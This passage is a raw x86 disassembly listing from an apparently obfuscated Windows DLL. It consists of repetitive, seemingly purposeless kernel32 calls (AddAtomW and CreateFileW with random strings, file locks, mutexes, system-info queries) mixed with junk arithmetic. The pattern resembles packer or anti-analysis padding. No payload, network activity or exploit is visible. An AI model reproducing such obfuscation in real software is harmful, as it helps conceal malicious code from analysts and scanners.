mov word [ebp - 0x186c], ax
push str.C8sYfri6BYsCmU.JYGUnl6yVPM7SfKI
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bbd3c], ax
lea edx, [ebp - 0x2a5]
mov dword [0x100bbd40], edx
push 0
push 0x3c93
push 0x14f0
push 0x3468
push 1
mov eax, dword [0x100bac94]
push eax
call dword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [ebp - 0x4d54], eax
movzx ecx, word [ebp - 0x141c]
mov edx, dword [ebp - 0x3e54]
movzx eax, word [edx]
xor ecx, eax
mov edx, dword [ebp - 0x3ae8]
mov word [edx], cx
mov dword [ebp - 0x52d0], 0x100b73bc
lea eax, [ebp - 0x304]
mov dword [0x100bbd44], eax
movzx ecx, byte [ebp - 0x283]
mov edx, dword [ebp - 0x4f8c]
movzx eax, byte [edx]
xor ecx, eax
mov edx, dword [ebp - 0x37e8]
mov byte [edx], cl
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x52d4], eax
movzx eax, word [0x100b973c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x136c], ax
mov dword [ebp - 0x52d8], 0x100b7390
mov ecx, dword [ebp - 0x5234]
mov edx, dword [0x100b7488]
add edx, dword [ecx]
mov eax, dword [0x100b96f4]
mov dword [eax], edx
push str.FL75A7
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bbd48], ax
mov ecx, dword [ebp - 0x36d0]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x27b]
and edx, eax
mov ecx, dword [ebp - 0x4f20]
mov byte [ecx], dl
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100bbd4c], eax
push 0
push 0x20
push 0
push 0
push 4
push 0x40000000
push str.X6rkCL4jnfDtz
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x52dc], eax
lea edx, [ebp - 0x878]
mov dword [ebp - 0x52e0], edx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x434c], eax
movsx eax, word [ebp - 0x1160]
movsx ecx, word [ebp - 0x1688]
sar eax, cl
mov word [0x100b73f4], ax
movzx ecx, byte [ebp - 0x2cc]
mov edx, dword [0x100ba564]
movzx eax, byte [edx]
xor ecx, eax
mov edx, dword [ebp - 0x3d2c]
mov byte [edx], cl
lea eax, [ebp - 0x31ec]
mov dword [ebp - 0x52e4], eax
mov cx, word [ebp - 0x1670]
mov word [0x100bbd50], cx
mov edx, dword [ebp - 0x4674]
mov eax, dword [ebp - 0x4604]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp - 0x2b14], ecx
mov edx, dword [ebp - 0x40b8]
movsx eax, byte [edx]
mov ecx, dword [0x100bb91c]
movsx ecx, byte [ecx]
shl eax, cl
mov byte [ebp - 0x144], al
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100ba798], eax
push str.t_N2OXt_YiLGiVS6meu
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1870], ax
push 0x100bb1c0
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movsx edx, word [ebp - 0x1494]
mov eax, dword [0x100ba61c]
movsx ecx, word [eax]
or edx, ecx
mov word [0x100b73f4], dx
lea edx, [ebp - 0xaf9c]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov al, byte [ebp - 0x283]
mov byte [ebp - 0x325], al
mov ecx, dword [ebp - 0x3900]
mov edx, dword [ebp - 0x4294]
mov eax, dword [ecx]
add eax, dword [edx]
mov ecx, dword [ebp - 0x36ec]
mov dword [ecx], eax
movsx edx, byte [ebp - 0x6c]
movsx eax, byte [ebp - 0x2c4]
and edx, eax
mov byte [0x100b733e], dl
push str.US_X4
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bbd54], ax
push 0x100bb48c
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movzx ecx, word [ebp - 0x550]
movzx edx, word [ebp - 0x13c0]
imul ecx, edx
mov word [ebp - 0x1558], cx
movzx eax, word [ebp - 0x14c8]
cdq
mov ecx, 0xd11
idiv ecx
mov word [ebp - 0x674], ax
push 0x2049
push 0x14f7
push 0x2cd
push 0x25d7
mov edx, dword [ebp - 0x35d4]
push edx
call dword [sym.imp.KERNEL32.dll_LockFile]
mov dword [0x100bbd58], eax
mov eax, dword [0x100baa20]
mov edx, dword [ebp - 0x3730]
mov ecx, dword [eax]
shr edx, cl
mov dword [0x100b73b4], edx
lea eax, [ebp - 0xa078]
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea ecx, [ebp - 0x1374]
mov dword [ebp - 0x52e8], ecx
mov edx, dword [ebp - 0x39ec]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x249]
xor eax, ecx
mov edx, dword [ebp - 0x4c5c]
mov byte [edx], al
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100b97c4], eax
lea eax, [ebp - 0x9e08]
push eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 0x100a99e8
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1874], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100bbd5c], eax
lea ecx, [ebp - 0xa090]
push ecx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea edx, [ebp - 0x3b74]
mov dword [0x100bbd60], edx
movsx eax, byte [0x100b726f]
movsx ecx, byte [ebp - 0x280]
shl eax, cl
mov ecx, dword [ebp - 0x4204]
mov byte [ecx], al
push 0
push 0x100bbb60
mov edx, dword [0x100bbd6c]
push edx
mov eax, dword [0x100bbd68]
push eax
mov ecx, dword [0x100bb5c0]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x4a74], eax
mov dx, word [ebp - 0x1004]
mov word [ebp - 0x1878], dx
mov eax, dword [0x100bb9c4]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x1878]
add ecx, edx
mov word [0x100ba044], cx
mov dword [ebp - 0x52ec], 0x100b7f8f
lea eax, [ebp - 0x3080]
mov dword [0x100bbd64], eax
mov ecx, dword [0x100b9508]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x5b8]
and edx, eax
mov ecx, dword [ebp - 0x50ac]
mov word [ecx], dx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x52f0], eax
mov dword [ebp - 0x52f4], 0x100b7192
push str.FCGmq_SGz8_CmssRMF
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bbd70], ax
mov edx, dword [ebp - 0x4294]
mov eax, dword [ebp - 0x4168]
mov ecx, dword [edx]
or ecx, dword [eax]
mov dword [0x100b73c4], ecx
mov edx, dword [ebp - 0x3644]
movzx eax, word [edx]
imul ecx, eax, 0xe5d
mov word [ebp - 0x1244], cx
mov edx, dword [ebp - 0x3058]
xor edx, dword [0x100b9644]
mov eax, dword [ebp - 0x4d48]
mov dword [eax], edx
lea ecx, [ebp - 0xbec]
mov dword [0x100bbd74], ecx
mov edx, dword [ebp - 0x3cf4]
mov dword [ebp - 0x52f8], edx
lea eax, [ebp - 0xa060]
push eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x49f0], eax
mov ecx, dword [ebp - 0x4ec0]
movzx edx, byte [ecx]
movzx ecx, byte [0x100b72df]
sar edx, cl
mov byte [ebp - 0xb2], dl
push 0x100bbaa8
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movsx eax, byte [ebp - 0x2e]
movsx ecx, byte [0x100b802e]
add eax, ecx
mov byte [0x100b71a2], al
movsx edx, byte [ebp - 0x31e]
movsx eax, byte [ebp - 0x31b]
and edx, eax
mov ecx, dword [ebp - 0x4aa0]
mov byte [ecx], dl
mov edx, dword [ebp - 0x4410]
mov eax, dword [edx]
sub eax, dword [ebp - 0x3a7c]
mov dword [ebp - 0x3f74], eax
push 0
push 0x40
push 1
push 0
push 2
push 0xc0000000
push str.5MX9IWfyN4Zz
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bbd78], eax
lea ecx, [ebp - 0x30d]
mov dword [0x100bbd7c], ecx
mov dx, word [ebp - 0x1180]
mov word [ebp - 0x187c], dx
lea eax, [ebp - 0x1204]
mov dword [ebp - 0x52fc], eax
mov ecx, dword [ebp - 0x37ec]
mov dword [0x100bbd80], ecx
movsx edx, byte [ebp - 0x124]
mov eax, dword [ebp - 0x4514]
movsx ecx, byte [eax]
shl edx, cl
mov ecx, dword [ebp - 0x3b00]
mov byte [ecx], dl
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x5300], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x3c14], eax
mov edx, dword [ebp - 0x4e28]
mov eax, dword [ebp - 0x308c]
or eax, dword [edx]
mov dword [ebp - 0x3b4c], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100bb540], eax
mov ecx, dword [0x100bac70]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x49fc]
movzx ecx, byte [eax]
sar edx, cl
mov byte [0x100b8232], dl
mov ecx, dword [ebp - 0x44f8]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x14a8]
add edx, eax
mov word [ebp - 0x980], dx
mov ecx, dword [ebp - 0x4034]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x182c]
and edx, eax
mov word [ebp - 0x5a0], dx
mov ecx, dword [0x100ba5e4]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x4be4]
movsx ecx, byte [eax]
xor edx, ecx
mov eax, dword [0x100bac40]
mov byte [eax], dl
mov ecx, dword [ebp - 0x3c24]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x47c0]
movzx ecx, word [eax]
shl edx, cl
mov word [ebp - 0xeb4], dx
lea ecx, [ebp - 0x2d14]
mov dword [ebp - 0x5304], ecx
mov edx, dword [ebp - 0x47ac]
mov eax, dword [ebp - 0x4b28]
mov ecx, dword [edx]
add ecx, dword [eax]
mov dword [0x100b74b8], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100bbd84], eax
mov edx, dword [ebp - 0x44fc]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x40e8]
movzx ecx, byte [ecx]
sar eax, cl
mov byte [ebp - 0xcb], al
movsx edx, word [str.Q_a_W3k]
movsx eax, word [ebp - 0x1720]
or edx, eax
mov ecx, dword [ebp - 0x453c]
mov word [ecx], dx
push str.jX9G0Wb_etWU1X
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1880], ax
push 0x23c
mov edx, dword [0x100b99a8]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x4e88], eax
mov dword [0x100bbd88], 0x100b7333
lea eax, [ebp - 0x8e4]
mov dword [ebp - 0x5308], eax
mov ecx, dword [0x100bbb9c]
mov edx, dword [ecx]
and edx, dword [ebp - 0x301c]
mov eax, dword [ebp - 0x3f44]
mov dword [eax], edx
mov ecx, dword [ebp - 0x512c]
mov edx, dword [0x100bab84]
xor edx, dword [ecx]
mov eax, dword [0x100bb754]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4e98]
mov dl, byte [ecx]
mov byte [ebp - 0x326], dl
movsx eax, byte [ebp - 0x26]
movsx ecx, byte [ebp - 0x267]
sub eax, ecx
mov byte [ebp - 0x1d5], al
movsx edx, word [ebp - 0xd84]
movsx ecx, word [0x100b71fc]
shl edx, cl
mov word [0x100b7314], dx
push str.LcHuzrTE_VYDacFTYIz43_SdAV
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1884], ax
movzx eax, word [ebp - 0x13ac]
mov ecx, dword [ebp - 0x4a00]
movzx edx, word [ecx]
add eax, edx
mov word [ebp - 0x10cc], ax
mov eax, dword [ebp - 0x366c]
mov edx, dword [0x100ba1a8]
mov ecx, dword [eax]
sar edx, cl
mov eax, dword [ebp - 0x4810]
mov dword [eax], edx
mov ecx, dword [0x100b9afc]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x5184]
movsx ecx, byte [eax]
and edx, ecx
mov byte [0x100b733f], dl
mov edx, dword [0x100b9598]
mov al, byte [edx]
mov byte [ebp - 0x327], al
mov ecx, dword [0x100bb5fc]
mov edx, dword [ebp - 0x3ea0]
or edx, dword [ecx]
mov dword [ebp - 0x2d14], edx
mov ax, word [ebp - 0x15f8]
mov word [0x100bbd8c], ax
mov cx, word [ebp - 0x1298]
mov word [ebp - 0x1888], cx
mov eax, dword [0x100b744c]
cdq
idiv dword [ebp - 0x3ee8]
mov dword [ebp - 0x3018], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100bbd90], eax
movsx edx, byte [0x100b7f0a]
mov eax, dword [ebp - 0x3c54]
movsx ecx, byte [eax]
xor edx, ecx
mov eax, dword [0x100bb050]
mov byte [eax], dl
mov ecx, dword [0x100ba854]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x4e4c]
movzx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0xb6], dl
movzx edx, word [ebp - 0x13a8]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bb444], ax
mov eax, dword [0x100ba33c]
movzx edx, word [eax]
mov eax, dword [0x100ba750]
movzx ecx, word [eax]
shl edx, cl
mov word [ebp - 0x1040], dx
mov cx, word [ebp - 0x1310]
mov word [0x100bbd94], cx
mov edx, dword [ebp - 0x4c50]
mov eax, dword [edx]
mov dword [ebp - 0x530c], eax
mov ecx, dword [0x100bb42c]
movsx edx, word [ecx]
mov eax, dword [ebp - 0x4150]
movsx ecx, word [eax]
and edx, ecx
mov word [ebp - 0xa3c], dx
push str.CLbfKkSpOI3
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x188c], ax
mov edx, dword [ebp - 0x46d4]
mov ecx, dword [0x100ba728]
sar edx, cl
mov eax, dword [0x100bb9e4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x35f0]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x3c10]
movsx ecx, byte [eax]
xor edx, ecx
mov eax, dword [ebp - 0x50a4]
mov byte [eax], dl
mov ecx, dword [0x100bb860]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x4ad4]
movzx ecx, byte [eax]
add edx, ecx
mov byte [0x100b7346], dl
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100b9978], eax
mov edx, dword [ebp - 0x50b8]
movzx eax, word [edx]
mov ecx, dword [0x100b99d4]
movzx edx, word [ecx]
or eax, edx
mov word [ebp - 0xb14], ax
mov eax, dword [ebp - 0x4708]
and eax, dword [ebp - 0x3ee8]
mov dword [ebp - 0x3f08], eax
mov ecx, dword [ebp - 0x346c]
mov edx, dword [0x100bb964]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [0x100b96d4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x508c]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x1214]
shl eax, cl
mov word [ebp - 0x1460], ax
lea ecx, [ebp - 0xa0a8]
push ecx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov dl, byte [ebp - 0xd0]
mov byte [ebp - 0x328], dl
mov dword [0x100bbd98], 0x100b7f02
mov eax, dword [ebp - 0x486c]
movsx edx, byte [eax]
movsx ecx, byte [ebp - 0x285]
sar edx, cl
mov byte [ebp - 0x328], dl
mov eax, dword [0x100bb9a0]
mov ecx, dword [eax]
mov dword [ebp - 0x5310], ecx
mov edx, dword [ebp - 0x4be8]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x4cf4]
movzx edx, word [ecx]
add eax, edx
mov ecx, dword [0x100ba210]
mov word [ecx], ax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bbd9c], eax
movsx edx, word [ebp - 0x5dc]
mov eax, dword [ebp - 0x4780]
movsx ecx, word [eax]
and edx, ecx
mov word [ebp - 0xa5c], dx
mov edx, dword [ebp - 0x2f84]
xor edx, dword [ebp - 0x4cec]
mov eax, dword [ebp - 0x3ef0]
mov dword [eax], edx
lea ecx, [ebp - 0xb4ac]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push 0
push 0x400
push 1
push 0
push 2
push 0x80000000
push str.1o1SrVhYh_vCLdtl2ZxVQmDCxuABe8c
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bbda0], eax
mov edx, dword [ebp - 0x42d4]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x296]
or eax, ecx
mov byte [0x100b8487], al
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x5314], eax
mov edx, dword [0x100ba1cc]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x3b80]
movsx edx, byte [ecx]
xor eax, edx
mov ecx, dword [ebp - 0x4214]
mov byte [ecx], al
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100ba170], eax
movzx edx, word [ebp - 0x1434]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100ba388], ax
mov eax, dword [0x100bb504]
mov dword [ebp - 0x5318], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bbda4], eax
lea ecx, [ebp - 0xa030]
push ecx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea edx, [ebp - 0x1478]
mov dword [0x100bbda8], edx
mov eax, dword [ebp - 0x4ae0]
movsx edx, word [eax]
movsx ecx, word [ebp - 0xc68]
shl edx, cl
mov word [ebp - 0x1834], dx
mov eax, dword [0x100b9af0]
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea ecx, [ebp - 0x1324]
mov dword [ebp - 0x531c], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x5320], eax
movzx edx, byte [ebp - 0x300]
mov eax, dword [ebp - 0x44fc]
movzx ecx, byte [eax]
sar edx, cl
mov ecx, dword [0x100bad10]
mov byte [ecx], dl
lea edx, [ebp - 0x39c0]
mov dword [ebp - 0x5324], edx
mov eax, dword [ebp - 0x4748]
mov ecx, dword [0x100b9c54]
mov edx, dword [eax]
add edx, dword [ecx]
mov dword [ebp - 0x2bd8], edx
movsx eax, byte [ebp - 0x2f9]
mov ecx, dword [ebp - 0x5028]
movsx edx, byte [ecx]
and eax, edx
mov byte [0x100b7347], al
mov eax, dword [ebp - 0x3600]
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push str.zYXStTVKRQ_yIwe
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bbdac], ax
mov ecx, dword [ebp - 0x39c8]
movzx edx, word [ecx]
imul eax, edx, 0xa53
mov ecx, dword [ebp - 0x421c]
mov word [ecx], ax
mov edx, dword [ebp - 0x3be8]
movsx eax, word [edx]
mov ecx, dword [ebp - 0x4bac]
movsx edx, word [ecx]
xor eax, edx
mov word [ebp - 0x4b0], ax
lea eax, [ebp - 0xb560]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100ba144], eax
mov cl, byte [ebp - 0x2ca]
mov byte [0x100b85e3], cl
mov dword [ebp - 0x5328], 0x100b83d2
mov eax, dword [ebp - 0x51d4]
xor edx, edx
mov ecx, 0x2707
div ecx
mov edx, dword [ebp - 0x4898]
mov dword [edx], eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x532c], eax
push 0
push 0x400
push 2
push 0
push 2
push 0x80000000
push str.3OuyQiG
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bbdb0], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100bba44], eax
mov eax, dword [0x100ba1a8]
xor eax, dword [ebp - 0x3f4c]
mov dword [0x100bb1ec], eax
mov ecx, dword [ebp - 0x3c40]
mov dl, byte [ecx]
mov byte [ebp - 0x329], dl
movzx eax, word [ebp - 0xafc]
mov ecx, dword [ebp - 0x3a18]
movzx edx, word [ecx]
add eax, edx
mov word [ebp - 0x15dc], ax
mov eax, dword [ebp - 0x5020]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [ebp - 0x46ac], eax
mov cx, word [ebp - 0xbe8]
mov word [0x100bbdb4], cx
movzx edx, byte [ebp - 0x289]
movzx eax, byte [0x100b80fa]
sub edx, eax
mov byte [ebp - 0x14], dl
push 0
push 0x400
push 2
push 0
push 4
push 0x80000000
push str.nV5ov1ddp40
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bbdb8], eax
lea ecx, [ebp - 0x3780]
mov dword [ebp - 0x5330], ecx
push str.8bX_E1k.HoNnYq
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1890], ax
mov edx, dword [0x100bb040]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xa18]
or eax, ecx
mov word [0x100bb8e8], ax
mov edx, dword [0x100ba1f4]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x5134]
shl eax, cl
mov dword [ebp - 0x44b4], eax
push 0
push 0x10
push 3
push 0
push 2
push 0x80000000
push str.EQKQqPJ5uJuhlGxIlLj5M
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bbdbc], eax
mov ecx, dword [0x100ba268]
push ecx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [ebp - 0x3c00], eax
mov edx, dword [ebp - 0x5028]
movsx eax, byte [edx]
mov ecx, dword [0x100bb050]
movsx ecx, byte [ecx]
sar eax, cl
mov byte [ebp - 0x235], al
movsx edx, word [ebp - 0x62c]
movsx eax, word [0x100bbc68]
and edx, eax
mov word [0x100bb95c], dx
push 0
push 0x200
push 3
push 0
push 4
push 0x40000000
push str.1p01IYi5OUAB5SjNYlH0Nap
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x5334], eax
movzx ecx, byte [ebp - 0x284]
mov edx, dword [0x100ba5b4]
movzx eax, byte [edx]
xor ecx, eax
mov byte [ebp - 0x299], cl
lea ecx, [ebp - 0x44d8]
mov dword [ebp - 0x5338], ecx
mov edx, dword [0x100ba79c]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x37e4]
movsx edx, byte [ecx]
add eax, edx
mov byte [0x100b734a], al
push 0
push 0x2ff6
push 0x2b9a
push 0x632c
push 1
mov eax, dword [0x100bb220]
push eax
call dword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [ebp - 0x4ef4], eax
mov ecx, dword [ebp - 0x4418]
mov dx, word [ecx]
mov word [ebp - 0x1894], dx
mov eax, dword [0x100bb82c]
movzx ecx, word [eax]
movzx edx, word [ebp - 0xf38]
and ecx, edx
mov word [ebp - 0x1050], cx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100bbdc0], eax
mov eax, dword [ebp - 0x402c]
mov ecx, dword [eax]
mov dword [0x100bbdc4], ecx
push 0x100ba8e8
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movsx edx, word [ebp - 0x1058]
mov eax, dword [ebp - 0x3f04]
movsx ecx, word [eax]
sar edx, cl
mov word [ebp - 0x7c4], dx
mov ecx, dword [ebp - 0x46c0]
movzx edx, byte [ecx]
movzx ecx, byte [ebp - 0x30a]
shl edx, cl
mov byte [ebp - 0x13a], dl
mov eax, dword [0x100b9bc0]
mov ecx, dword [eax]
or ecx, dword [ebp - 0x4f84]
mov edx, dword [0x100baf50]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4698]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x51c0]
movsx eax, byte [edx]
xor ecx, eax
mov edx, dword [ebp - 0x4f14]
mov byte [edx], cl
lea eax, [ebp - 0x510]
mov dword [ebp - 0x533c], eax
lea ecx, [ebp - 0x127c]
mov dword [0x100bbdc8], ecx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x5340], eax
mov edx, dword [ebp - 0x4178]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x4f0c]
movsx ecx, byte [ecx]
cdq
idiv ecx
mov byte [ebp - 0x313], al
mov edx, dword [0x100ba238]
mov eax, dword [ebp - 0x2bf4]
add eax, dword [edx]
mov dword [0x100ba28c], eax
mov ecx, dword [ebp - 0x3d6c]
movsx edx, word [ecx]
movsx eax, word [ebp - 0xe90]
and edx, eax
mov word [ebp - 0x8b4], dx
push str.LX9bMWyD.T_E7nP6R
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bbdcc], ax
mov ecx, dword [ebp - 0x3f64]
movzx edx, byte [ecx]
movzx ecx, byte [ebp - 0x31a]
sar edx, cl
mov byte [ebp - 0x1e8], dl
mov eax, dword [ebp - 0x3ae0]
mov ecx, dword [ebp - 0x3f1c]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [0x100b94a4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3ac8]
mov dx, word [ecx]
mov word [ebp - 0x1898], dx
mov eax, dword [ebp - 0x3f60]
mov ecx, dword [ebp - 0x4840]
shl eax, cl
mov ecx, dword [ebp - 0x4d58]
mov dword [ecx], eax
push 0
push 0x40
push 4
push 0
push 8
push 0xc0000000
push str.279o7jfqt_n27IYwU7HPcsJP0NBi_nfJzG1n
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x5344], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x36cc], eax
mov edx, dword [ebp - 0x3450]
movsx eax, word [edx]
mov ecx, dword [0x100b99ac]
movsx edx, word [ecx]
or eax, edx
mov word [0x100b74bc], ax
mov eax, dword [ebp - 0x3b24]
mov ecx, dword [ebp - 0x4c74]
mov edx, dword [eax]
add edx, dword [ecx]
mov dword [ebp - 0x2a78], edx
mov eax, dword [ebp - 0x36f4]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x4cd4]
movzx eax, byte [edx]
and ecx, eax
mov edx, dword [ebp - 0x3ba8]
mov byte [edx], cl
mov eax, dword [ebp - 0x46b4]
mov cl, byte [eax]
mov byte [0x100b860a], cl
lea edx, [ebp - 0x14a]
mov dword [ebp - 0x5348], edx
mov eax, dword [ebp - 0x3fd8]
mov ecx, dword [eax]
imul ecx, dword [ebp - 0x3d54]
mov edx, dword [ebp - 0x3a74]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4a28]
movzx ecx, byte [eax]
mov edx, dword [0x100ba980]
movzx eax, byte [edx]
xor ecx, eax
mov edx, dword [0x100baf20]
mov byte [edx], cl
lea eax, [ebp - 0xe90]
mov dword [ebp - 0x534c], eax
mov ecx, dword [0x100bb040]
mov dx, word [ecx]
mov word [ebp - 0x189c], dx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100bbdd0], eax
lea eax, [ebp - 0x5158]
mov dword [0x100bbdd4], eax
lea ecx, [ebp - 0x9e68]
push ecx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push 0xeb
push 0xd3f
push 0x398f
push 0x827
mov edx, dword [0x100b9820]
push edx
call dword [sym.imp.KERNEL32.dll_LockFile]
mov dword [0x100bb028], eax
push 0x100a9c4c
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x18a0], ax
movsx eax, byte [ebp - 0x2c1]
mov ecx, dword [ebp - 0x35f0]
movsx ecx, byte [ecx]
sar eax, cl
mov byte [ebp - 0x324], al
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x3820], eax
mov edx, dword [ebp - 0x48dc]
mov eax, dword [edx]
cdq
idiv dword [0x100b9ee8]
mov ecx, dword [ebp - 0x37f4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4cd4]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x21]
xor eax, ecx
mov edx, dword [0x100baff8]
mov byte [edx], al
mov ax, word [ebp - 0x5a8]
mov word [ebp - 0x18a4], ax
push str.Pafoxrku
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bbdd8], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100b957c], eax
movsx edx, word [0x100b7254]
mov eax, dword [ebp - 0x3f0c]
movsx ecx, word [eax]
shl edx, cl
mov word [ebp - 0x1160], dx
mov ecx, dword [ebp - 0x431c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x3df8]
movsx ecx, byte [eax]
add edx, ecx
mov byte [0x100b7ff2], dl
movzx edx, word [ebp - 0xc20]
mov eax, dword [ebp - 0x3dd0]
movzx ecx, word [eax]
and edx, ecx
mov word [ebp - 0xfdc], dx
lea edx, [ebp - 0xb584]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov dword [ebp - 0x5350], 0x100b725c
push str.0XK_HaIdyjdA.e6YBv5L_IHrp7S88
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x18a8], ax
mov eax, dword [ebp - 0x2a84]
or eax, dword [0x100bb68c]
mov dword [0x100b74c0], eax
mov ecx, dword [0x100bad10]
movzx edx, byte [ecx]
